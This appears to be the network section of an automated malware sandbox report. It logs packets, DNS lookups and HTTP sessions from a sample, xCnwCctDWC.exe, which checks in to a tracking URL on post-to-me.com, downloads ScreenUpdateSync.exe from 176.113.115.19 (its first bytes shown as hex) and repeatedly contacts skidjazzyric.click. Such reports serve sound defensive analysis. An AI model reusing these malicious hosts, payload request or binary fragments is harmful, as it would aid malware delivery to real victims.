Jan 9, 2025 08:34:51.509054899 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509090900 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509114027 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509124994 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509138107 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509176016 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509188890 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509193897 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509193897 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509227037 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509227991 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509227991 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509238005 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509274006 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509287119 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509327888 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509327888 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509376049 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509388924 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509401083 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509418011 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509429932 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509440899 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509453058 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509475946 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509484053 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509512901 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509533882 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509552002 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509594917 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509607077 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509618998 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509634972 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509648085 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509670973 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509721994 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509723902 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509737015 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509823084 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509835958 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509846926 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509867907 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509871006 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509882927 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.509891033 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.509901047 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.510008097 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.559835911 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559856892 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559914112 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559927940 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559931040 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.559941053 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559956074 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.559979916 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.560005903 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560018063 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560026884 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.560029984 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560043097 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560050964 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.560055017 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560067892 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.560077906 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.560096025 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.560317039 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:53.669817924 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:53.669857979 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:53.669919968 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:53.671602011 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:53.671617031 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.132906914 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.133007050 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.135967970 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.135977983 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.136229992 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.183334112 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.183360100 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.183461905 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.608563900 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.608678102 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.608735085 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.610807896 CET	49708	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.610830069 CET	443	49708	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.634443998 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.634488106 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:54.634618998 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.635055065 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:54.635066032 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.120299101 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.120507002 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.167000055 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.167026043 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.167375088 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.168966055 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.171065092 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.171097994 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619265079 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619326115 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619375944 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619407892 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619424105 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.619436026 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619472980 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.619477987 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619520903 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.619527102 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619760036 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619793892 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619815111 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.619821072 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.619853973 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.623959064 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.623999119 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.624058008 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.624067068 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.669049025 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.711677074 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.711766958 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.711807013 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.711854935 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.711869955 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.711915016 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.711915970 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.711946964 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.712460041 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.712476969 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.712496042 CET	49709	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.712501049 CET	443	49709	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.937942982 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.937994003 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:55.938169003 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.938441992 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:55.938457012 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.384099007 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:56.384166956 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:56.399022102 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.399127007 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.400496006 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.400509119 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.400800943 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.402014971 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.402177095 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.402209044 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.988871098 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.988971949 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:56.989039898 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.989137888 CET	49710	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:56.989159107 CET	443	49710	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.082801104 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.082858086 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.083024025 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.083337069 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.083348989 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.538631916 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.538748026 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.543169022 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.543176889 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.543461084 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.545110941 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.545272112 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.545309067 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:57.545413017 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:57.587341070 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:58.084089994 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:58.084233046 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:58.084326029 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:58.086862087 CET	49711	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:58.086883068 CET	443	49711	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:58.581434965 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:58.581487894 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:58.581733942 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:58.582066059 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:58.582087040 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.074302912 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.074378967 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.076381922 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.076395988 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.076654911 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.077872992 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.078035116 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.078069925 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.078144073 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.078150988 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.594557047 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.594670057 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:34:59.595213890 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.610146046 CET	49712	443	192.168.2.8	104.21.112.1
Jan 9, 2025 08:34:59.610171080 CET	443	49712	104.21.112.1	192.168.2.8
Jan 9, 2025 08:36:38.888381958 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:39.288161039 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:39.934937954 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:41.326385021 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:43.818818092 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:48.731898069 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:36:58.341347933 CET	49707	80	192.168.2.8	176.113.115.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:34:48.931118011 CET	56513	53	192.168.2.8	1.1.1.1
Jan 9, 2025 08:34:48.989372015 CET	53	56513	1.1.1.1	192.168.2.8
Jan 9, 2025 08:34:53.651420116 CET	49646	53	192.168.2.8	1.1.1.1
Jan 9, 2025 08:34:53.664465904 CET	53	49646	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 08:34:48.931118011 CET	192.168.2.8	1.1.1.1	0x208c	Standard query (0)	post-to-me.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.651420116 CET	192.168.2.8	1.1.1.1	0x3fd3	Standard query (0)	skidjazzyric.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 08:34:48.989372015 CET	1.1.1.1	192.168.2.8	0x208c	No error (0)	post-to-me.com	104.21.56.70	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:48.989372015 CET	1.1.1.1	192.168.2.8	0x208c	No error (0)	post-to-me.com	172.67.179.207	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:34:53.664465904 CET	1.1.1.1	192.168.2.8	0x3fd3	No error (0)	skidjazzyric.click	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

post-to-me.com

skidjazzyric.click

176.113.115.19

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	176.113.115.19	80	7468	C:\Users\user\Desktop\xCnwCctDWC.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 08:34:50.320772886 CET	85	OUT	GET /ScreenUpdateSync.exe HTTP/1.1 User-Agent: ShareScreen Host: 176.113.115.19
Jan 9, 2025 08:34:51.020234108 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 09 Jan 2025 07:30:02 GMT ETag: "53600-62b40f23d5dfc" Accept-Ranges: bytes Content-Length: 341504 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5a f6 05 ca 1e 97 6b 99 1e 97 6b 99 1e 97 6b 99 a3 d8 fd 99 1f 97 6b 99 00 c5 ef 99 3b 97 6b 99 00 c5 fe 99 00 97 6b 99 00 c5 e8 99 64 97 6b 99 39 51 10 99 1d 97 6b 99 1e 97 6a 99 6d 97 6b 99 00 c5 e1 99 1f 97 6b 99 00 c5 ff 99 1f 97 6b 99 00 c5 fa 99 1f 97 6b 99 52 69 63 68 1e 97 6b 99 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ab 7f f3 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 24 04 00 00 50 01 00 00 00 00 00 a5 5e 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 3f b1 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Zkkkk;kkdk9QkjmkkkkRichkPELe$P^@@?*(hG@t.textV#$ `.data@`(@.rsrch@@
Jan 9, 2025 08:34:51.020270109 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 2c 04 00 aa 2c 04 00 c2 2c 04 00 d6 2c 04 00 ee 2c 04 00 02 2d 04 00 18 2d 04 00 2e 2d 04 00 42 2d 04 00 52 2d 04 00 62 2d Data Ascii: ,,,,,--.-B-R-b-r-------....>.P.`.p......../2/F/N/\/n/z///////0
Jan 9, 2025 08:34:51.020292044 CET	1236	IN	Data Raw: 1e 30 04 00 36 30 04 00 48 30 04 00 60 30 04 00 78 30 04 00 86 30 04 00 94 30 04 00 a0 30 04 00 ae 30 04 00 b8 30 04 00 ce 30 04 00 da 30 04 00 f0 30 04 00 18 31 04 00 32 31 04 00 4c 31 04 00 5e 31 04 00 6c 31 04 00 7a 31 04 00 94 31 04 00 a4 31 Data Ascii: 060H0`0x000000000121L1^1l1z1111111112222B2N2d2t2222222233"383H3h@y@@C@@@iA
Jan 9, 2025 08:34:51.020302057 CET	224	IN	Data Raw: 0a 00 00 00 53 49 4e 47 20 65 72 72 6f 72 0d 0a 00 00 00 00 44 4f 4d 41 49 4e 20 65 72 72 6f 72 0d 0a 00 00 52 36 30 33 34 0d 0a 41 6e 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 68 61 73 20 6d 61 64 65 20 61 6e 20 61 74 74 65 6d 70 74 20 74 6f 20 6c Data Ascii: SING errorDOMAIN errorR6034An application has made an attempt to load the C runtime library incorrectly.Please contact the application's support team for more information.R6033- Attempt to use MSIL
Jan 9, 2025 08:34:51.020318985 CET	1236	IN	Data Raw: 20 63 6f 64 65 20 66 72 6f 6d 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 20 64 75 72 69 6e 67 20 6e 61 74 69 76 65 20 63 6f 64 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e Data Ascii: code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.R6032- not enough spa
Jan 9, 2025 08:34:51.020338058 CET	1236	IN	Data Raw: 04 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 92 00 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=
Jan 9, 2025 08:34:51.020350933 CET	448	IN	Data Raw: 00 00 f2 3f 00 00 00 b4 91 72 eb 3f f6 8c ed 38 7b 4b 1c 3e 00 00 00 00 00 80 f2 3f 00 00 00 ec 70 de eb 3f 39 95 ba 6c fe 39 24 3e 00 00 00 00 00 00 f3 3f 00 00 00 bc 0a 47 ec 3f dc 61 6a 09 e8 69 39 3e 00 00 00 00 00 80 f3 3f 00 00 00 54 7c ac Data Ascii: ?r?8{K>?p?9l9$>?G?aji9>?T\|?'\\|#<>?$?}dj#>?Wn?MVx:>?,?18o,>?D$?c/>?@ \|?x7\|1>?\|?9>
Jan 9, 2025 08:34:51.020364046 CET	1236	IN	Data Raw: 1d 51 46 3e 00 00 00 00 00 80 fb 3f 00 00 00 2c 8f d3 f0 3f dd 23 2f a4 27 e8 16 3e 00 00 00 00 00 00 fc 3f 00 00 00 d8 a5 f2 f0 3f 5d 58 cd 63 02 ff 3f 3e 00 00 00 00 00 80 fc 3f 00 00 00 00 eb 10 f1 3f 08 d0 d4 ae 7d ce 1f 3e 00 00 00 00 00 00 Data Ascii: QF>?,?#/'>??]Xc?>??}>?e.?IdWA>?K??>?Xg?4A>?_?[J>??10H>??hc#]G>@,?QxF
Jan 9, 2025 08:34:51.020452023 CET	1236	IN	Data Raw: 00 00 00 04 b0 7b f4 3f 34 e6 8b d6 32 47 3c 3e 00 00 00 00 00 c0 0a 40 00 00 00 4c 1b 86 f4 3f c3 82 a9 fe e1 7c 2f 3e 00 00 00 00 00 00 0b 40 00 00 00 8c 59 90 f4 3f df fb c0 73 f1 0a 40 3e 00 00 00 00 00 40 0b 40 00 00 00 e0 6b 9a f4 3f d9 f0 Data Ascii: {?42G<>@L?\|/>@Y?s@>@@k?a@>@XS?x(3u8>@?vO,ib>@?&LC>@@?}L>@X?Lo>@x?-9>@
Jan 9, 2025 08:34:51.020464897 CET	448	IN	Data Raw: 2b 6f 46 3e 00 00 00 00 00 c0 13 40 00 00 00 24 7f f4 f5 3f 78 94 93 f8 12 04 4f 3e 00 00 00 00 00 e0 13 40 00 00 00 14 73 f9 f5 3f cb d5 9d 6d 85 54 32 3e 00 00 00 00 00 00 14 40 00 00 00 dc 57 fe f5 3f 87 de f0 04 85 3d 1a 3e 00 00 00 00 00 20 Data Ascii: +oF>@$?xO>@s?mT2>@W?=> @-?\=>@@?\==`@?j\&">@X?1D>>@?#O#`I>@?}0>@?F\IE
Jan 9, 2025 08:34:51.025401115 CET	1236	IN	Data Raw: 60 45 f6 3f 61 70 91 49 30 ae 48 3e 00 00 00 00 00 20 16 40 00 00 00 98 67 49 f6 3f a4 99 3a 9d d8 c3 2d 3e 00 00 00 00 00 40 16 40 00 00 00 ec 63 4d f6 3f a5 f2 25 15 51 12 0e 3e 00 00 00 00 00 60 16 40 00 00 00 40 55 51 f6 3f 4c 79 35 da 9a 6f Data Ascii: `E?apI0H> @gI?:->@@cM?%Q>`@@UQ?Ly5oE>@;U?vg0/>@Y?jvUG>@\?yK>@,`?A%My>@md?H> @ h?pM>@@0k

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	104.21.56.70	443	7468	C:\Users\user\Desktop\xCnwCctDWC.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:34:49 UTC	90	OUT	GET /track_prt.php?sub=0&cc=DE HTTP/1.1 User-Agent: ShareScreen Host: post-to-me.com
2025-01-09 07:34:50 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:34:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mou%2FWaGDnLXq48zNFWBg8rTwAA6D7SUkG029jmYXyW7nF4yb4TXHl63MXSpJsCYqACkOI8%2FUTuAKRe7m8i6xwNI6%2BLegPtldcUKZsa8rXaQni8zqUhD5K%2FeoHJUECz%2B%2BcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2bf41b91042ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1582&rtt_var=598&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=728&delivery_rate=1823860&cwnd=215&unsent_bytes=0&cid=ba842ce022dae918&ts=461&x=0"
2025-01-09 07:34:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-09 07:34:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

